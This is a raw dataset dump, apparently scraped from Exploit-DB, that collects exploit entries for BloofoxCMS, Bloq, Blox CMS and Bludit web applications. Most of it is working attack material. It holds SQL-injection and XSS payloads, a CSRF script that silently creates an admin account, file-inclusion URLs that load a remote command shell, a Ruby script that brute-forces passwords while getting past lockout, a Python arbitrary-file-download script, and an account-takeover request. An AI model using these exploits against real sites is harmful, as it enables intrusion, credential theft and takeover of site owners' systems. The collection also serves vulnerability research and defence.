deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15326
Description: BloofoxCMS 0.3.5 - Information Disclosure
Type: webapps
Platform: php
Date: 2010-10-27
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22660
Reference: http://www.htbridge.ch/advisory/information_disclosure_in_bloofoxcms_1.html
Product: BloofoxCMS
Vendor: bloofox.com ( http://bloofox.com/ ) 
Vulnerable Version: 0.3.5 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: Information Disclosure
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in username variable, it's possible to generate an sql query error that will reveal the database tables prefix.

The following PoC is available:


<form action="http://[host]/index.php?login=true" method="post">
<input name="username" type="hidden" value="\\">
<input name="password" type="hidden" value="password">
<input value="Login" name="login" type="submit">
</form> 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in key variable, it's possible to generate an sql query error that will reveal the database tables prefix.

The following PoC is available:


http://[host]/index.php?key=\\
Exploit-DB #38006
Description: BloofoxCMS 0.3.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-31
Author: Canberk BOLAT

Exploit:
source: https://www.securityfocus.com/bid/56353/info

bloofoxCMS is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

bloofoxCMS 0.3.5 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?'"--><script>alert(0x0004B3)</script>
http://www.example.com/index.php?search='"--><script>alert(0x0004B3)</script>
Exploit-DB #39032
Description: BloofoxCMS 0.5.0 - 'fileurl' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-01-17
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/65019/info
   
bloofoxCMS is prone to the following security vulnerabilities:
   
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
   
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
   
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected.
 
VULNERABILITY
##############
/admin/include/inc_settings_editor.php (line 56-69)

// show file
if(isset($_POST["fileurl"])) {
    $fileurl = $_POST["fileurl"];
}
if(isset($_GET["fileurl"])) {
    $fileurl = "../".$_GET["fileurl"];
}

if(file_exists($fileurl)) {
    $filelength = filesize($fileurl);
    $readfile = fopen($fileurl,"r");
    $file = fread($readfile,$filelength);
    fclose($readfile);
}



#########
EXPLOIT
#########

http://localhost/admin/index.php?mode=settings&page=editor&fileurl=config.php
Exploit-DB #49492
Description: BloofoxCMS 0.5.2.1 - 'text' Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2021-01-29
Author: LiPeiYi

Exploit:
# Title: BloofoxCMS 0.5.2.1 - 'text' Stored Cross Site Scripting
# Exploit Author: LiPeiYi
# Date: 2020-12-18
# Vendor Homepage: https://www.bloofox.com/
# Software Link: https://github.com/alexlang24/bloofoxCMS/releases/tag/0.5.2.1
# Version: 0.5.1.0 -.5.2.1
# Tested on: windows 10

Vulnerable paper: /admin/include/inc_content_articles.php 

Steps to reproduce:

1: Log in with a valid username and password. Navigate to the "articles" tab on the left-hand side.
2: Add the new post and then add the payload "payload: <img src=# onerror=alert('xss')>" in "text" parameter and click on save button. Post Saved successfully.
3: Now, XSS will get stored and trigger every time and the attacker can steal authenticated users' cookies.
Exploit-DB #49507
Description: bloofoxCMS 0.5.2.1 - CSRF (Add user)
Type: webapps
Platform: php
Date: 2021-02-01
Author: LiPeiYi

Exploit:
# Title: bloofoxCMS 0.5.2.1 - CSRF (Add user)
# Exploit Author: LiPeiYi
# Date: 2020-12-18
# Vendor Homepage: https://www.bloofox.com/
# Software Link: https://github.com/alexlang24/bloofoxCMS/releases/tag/0.5.2.1
# Version: 0.5.1.0 -.5.2.1
# Tested on: windows 10

#Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site

###PoC
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='username' value='testuser01' />";
fields += " <input type='hidden' name='password' value='testpw123' />";  
fields += " <input type='hidden' name='pwdconfirm' value='testpw123' />";  
fields += "<input type='hidden' name='3' value='Admin' />";  
fields += " <input type='hidden' name='blocked' value='0' />";  
fields += "<input type='hidden' name='deleted' value='0' />";  
fields += "<input type='hidden' name='status' value='1' />";  
fields += "<input type='hidden' name='login_page' value='0' />";  
fields += "<input type='hidden' name='send' value='Add+User' />";  


var url = "http://test.com/admin/index.php?mode=user&action=new&submit=send";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>

</body>
</html>


exp detail：https://github.com/alexlang24/bloofoxCMS/issues/4
Exploit-DB #15328
Description: BloofoxCMS Registration Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-27
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22658
Reference: http://www.htbridge.ch/advisory/sql_injection_in_bloofoxcms_registration_plugin.html
Product: BloofoxCMS 
Vendor: bloofox.com ( http://bloofox.com/ ) 
Vulnerable Version: 0.3.5 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in gender variable.

The following PoC is available:


<form action="http://host/index.php?page=8" method="post">
<input type="hidden" name="un" value="testuser">
<input type="hidden" name="pwd" value="123456">
<input type="hidden" name="pwd2" value="123456">
<input type="hidden" name="em" value="email@email.com">
<input type="hidden" name="gender" value="'SQL_CODE_HERE">
<input name="send" value="Register & Create Account" type="submit">
</form>
Exploit-DB #28802
Description: Bloq 0.5.4 - '/files/mainfile.php?page[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: KorsaN

Exploit:
source: https://www.securityfocus.com/bid/20512/info
     
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHTOSCR&#304;PT]/files/mainfile.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls
Exploit-DB #28798
Description: Bloq 0.5.4 - 'admin.php?page[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: KorsaN

Exploit:
source: https://www.securityfocus.com/bid/20512/info
 
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHTOSCR&#304;PT]/admin.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls
Exploit-DB #28797
Description: Bloq 0.5.4 - 'index.php?page[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: KorsaN

Exploit:
source: https://www.securityfocus.com/bid/20512/info

Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHSCR&#304;PT]/index.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls
Exploit-DB #28801
Description: Bloq 0.5.4 - 'rdf.php?page[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: KorsaN

Exploit:
source: https://www.securityfocus.com/bid/20512/info
    
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHTOSCR&#304;PT]/rdf.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls
Exploit-DB #28799
Description: Bloq 0.5.4 - 'rss.php?page[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: KorsaN

Exploit:
source: https://www.securityfocus.com/bid/20512/info
  
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.
 
http://www.example.com/[PATHTOSCR&#304;PT]/rss.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls
Exploit-DB #28800
Description: Bloq 0.5.4 - 'rss2.php?page[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: KorsaN

Exploit:
source: https://www.securityfocus.com/bid/20512/info
   
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHTOSCR&#304;PT]/rss2.php?page[path]=http://www.example.com/cmd.gif?&cmd=l10:32
Exploit-DB #12729
Description: Blox CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

Blox CMS SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Script Home: http://bloxcms.com/

Dork: Powered by Blox CMS from TownNews.com

-------------------------------------------------------------------------------------------

Sql Injection:

http://localhost/[path]/app/classifieds/rentals/?c=-156%20union%20select%200,1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15


Demo :

http://www.site.com/app/classifieds/rentals/?c=-156%20union%20select%200,1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15

-------------------------------------------------------------------------------------------
Exploit-DB #48746
Description: Bludit  3.9.2 - Authentication Bruteforce Mitigation Bypass
Type: webapps
Platform: php
Date: 2020-08-17
Author: Alexandre ZANNI

Exploit:
#!/usr/bin/env ruby
## Title: Bludit  3.9.2 - Authentication Bruteforce Mitigation Bypass
## Author: noraj (Alexandre ZANNI)
## Author website: https://pwn.by/noraj/
## Date: 2020-08-16
## Vendor Homepage: https://www.bludit.com/
## Software Link: https://github.com/bludit/bludit/archive/3.9.2.tar.gz
## Version: <= 3.9.2
## Tested on: Bludit Version 3.9.2

# Vulnerability
## Discoverer: Rastating
## Discoverer website: https://rastating.github.io/
## CVE: CVE-2019-17240
## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2019-17240
## References: https://rastating.github.io/bludit-brute-force-mitigation-bypass/
## Patch: https://github.com/bludit/bludit/pull/1090

require 'httpclient'
require 'docopt'

# dirty workaround to remove this warning:
#   Cookie#domain returns dot-less domain name now. Use Cookie#dot_domain if you need "." at the beginning.
# see https://github.com/nahi/httpclient/issues/252
class WebAgent
  class Cookie < HTTP::Cookie
    def domain
      self.original_domain
    end
  end
end

def get_csrf(client, login_url)
  res = client.get(login_url)
  csrf_token = /input.+?name="tokenCSRF".+?value="(.+?)"/.match(res.body).captures[0]
end

def auth_ok?(res)
  HTTP::Status.redirect?(res.code) &&
    %r{/admin/dashboard}.match?(res.headers['Location'])
end

def bruteforce_auth(client, host, username, wordlist)
  login_url = host + '/admin/login'
  File.foreach(wordlist).with_index do |password, i|
    [CREDENTIAL_REDACTED].chomp
    csrf_token = get_csrf(client, login_url)
    headers = {
      'X-Forwarded-For' => "#{i}-#{password[..4]}",
    }
    data = {
      'tokenCSRF' => csrf_token,
      'username' => username,
      'password' => password,
    }
    puts "[*] Trying password: #{password}"
    auth_res = client.post(login_url, data, headers)
    if auth_ok?(auth_res)
      puts "\n[+] Password found: #{password}"
      break
    end
  end
end

doc = <<~DOCOPT
  Bludit <= 3.9.2 - Authentication Bruteforce Mitigation Bypass

  Usage:
    #{__FILE__} -r <url> -u <username> -w <path> [--debug]
    #{__FILE__} -H | --help

  Options:
    -r <url>, --root-url <url>            Root URL (base path) including HTTP scheme, port and root folder
    -u <username>, --user <username>      Username of the admin
    -w <path>, --wordlist <path>          Path to the wordlist file
    --debug                               Display arguments
    -H, --help                            Show this screen

  Examples:
    #{__FILE__} -r http://example.org -u admin -w myWordlist.txt
    #{__FILE__} -r https://example.org:8443/bludit -u john -w /usr/share/wordlists/password/rockyou.txt
DOCOPT

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  clnt = HTTPClient.new
  bruteforce_auth(clnt, args['--root-url'], args['--user'], args['--wordlist'])
rescue Docopt::Exit => e
  puts e.message
end
Exploit-DB #50529
Description: Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-11-17
Author: Vasu

Exploit:
# Exploit Title: Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)
# Date: 19/10/2021
# Exploit Author: Vasu (tamilan_mkv)
# Vendor Homepage: https://www.bludit.com
# Software Link: https://www.bludit.com/releases/bludit-3-13-1.zip
# Version: bludit-3-13-1
# Tested on: kali linux
# CVE : CVE-2021-35323

### Steps to reproduce

1. Open login page http://localhost:800/admin/login;
2. Enter the username place ``admin"><img src=x onerror=alert(1)>``and enter the password
3. Trigger the malicious javascript code
Exploit-DB #51360
Description: Bludit 4.0.0-rc-2 - Account takeover
Type: webapps
Platform: php
Date: 2023-04-14
Author: nu11secur1ty

Exploit:
## Exploit Title: Bludit 4.0.0-rc-2 - Account takeover
## Author: nu11secur1ty
## Date: 04.11.2013
## Vendor: https://www.bludit.com/
## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2
## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/
## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit

## Description:
The already authenticated attacker can send a normal request to change
his password and then he can use
the same JSON `object` and the vulnerable `API token KEY` in the same
request to change the admin account password.
Then he can access the admin account and he can do very malicious stuff.

STATUS: HIGH Vulnerability

[+]Exploit:
```PUT
PUT /api/users/admin HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 138
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50
Safari/537.36
content-type: application/json
Accept: */*
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8000/admin/edit-user/pwned
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui
Connection: close

{"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}

```

[+]Response:
```HTTP
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Tue, 11 Apr 2023 08:33:51 GMT
Connection: close
X-Powered-By: PHP/7.4.30
Access-Control-Allow-Origin: *
Content-Type: application/json

{"status":"0","message":"User edited.","data":{"key":"admin"}}
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)

## Proof and Exploit:
[href](https://streamable.com/w3aa4d)

## Time spend:
00:57:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #51541
Description: Bludit < 3.13.1 Backup Plugin - Arbitrary File Download (Authenticated)
Type: webapps
Platform: php
Date: 2023-06-23
Author: Antonio Cuomo

Exploit:
# -*- coding: utf-8 -*-
#/usr/bin/env python

# Exploit Title: Bludit < 3.13.1 Backup Plugin - Arbitrary File Download (Authenticated)
# Date: 2022-07-21
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://www.bludit.com
# Software Link: https://github.com/bludit/bludit
# Version: < 3.13.1
# Tested on: Debian 10 - PHP Version: 7.3.14

import requests
import argparse
from bs4 import BeautifulSoup #pip3 install beautifulsoup4

def main():
        parser = argparse.ArgumentParser(description='Bludit < 3.13.1 - Backup Plugin - Arbitrary File Download (Authenticated)')
        parser.add_argument('-x', '--url', type=str, required=True)
        parser.add_argument('-u', '--user', type=str, required=True)
        parser.add_argument('-p', '--password', type=str, required=True)
        parser.add_argument('-f', '--file', type=str, required=True)
        args = parser.parse_args()
        print("\nBludit < 3.13.1 - Backup Plugin - Arbitrary File Download (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
        exploit(args)

def exploit(args):
    s2 = requests.Session()

    url = args.url.rstrip("/")

    #get csrf token
    r = s2.get(url+'/admin/')
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'tokenCSRF'})['value']

    #login
    body= {'tokenCSRF':formtoken,'username':args.user,'password':args.password}
    r = s2.post(url+'/admin/', data=body, allow_redirects=False)
    if(r.status_code==301 and r.headers['location'].find('/admin/dashboard') != -1):
        print("[*] Login OK")
    else:
        print("[*] Login Failed")
        exit(1)

    #arbitrary download
    r = s2.get(url+'/plugin-backup-download?file=../../../../../../../../'+args.file)
    if(r.status_code==200 and len(r.content)>0):
        print("[*] File:")
        print(r.text)
    else:
        print("[*] Exploit Failed")
        exit(1)

if __name__ == '__main__':
	main()
Exploit-DB #51476
Description: Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2023-05-23
Author: Rahad Chowdhury

Exploit:
# Exploit Title: Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2023-04-15
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://www.bludit.com/
# Software Link: https://github.com/bludit/bludit/releases/tag/3.14.1
# Version: 3.14.1
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-31698

SVG Payload
-------------
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>

save this SVG file xss.svg

Steps to Reproduce:

1. At first login your admin panel.
2. then go to settings and click the logo section.
3. Now upload xss.svg file so your request data will be

POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/112.0
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]005010998
Referer: http://127.0.0.1/bludit/admin/settings
Cookie: BLUDITREMEMBERUSERNAME=admin;
BLUDITREMEMBERTOKEN=139167a[PII_REDACTED]6bc7484552bc985;
BLUDIT-KEY=tmap19d0m813e8rqfft8rsl74i
Content-Length: 651

----------------------------[PII_REDACTED][PII_REDACTED]005010998
Content-Disposition: form-data; name="tokenCSRF"

626c201693546f472cdfc11bed0938aab8c6e480
----------------------------[PII_REDACTED][PII_REDACTED]005010998
Content-Disposition: form-data; name="inputFile"; filename="xss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>

----------------------------[PII_REDACTED][PII_REDACTED]005010998--

4. Now open the logo image link that you upload. You will see XSS pop up.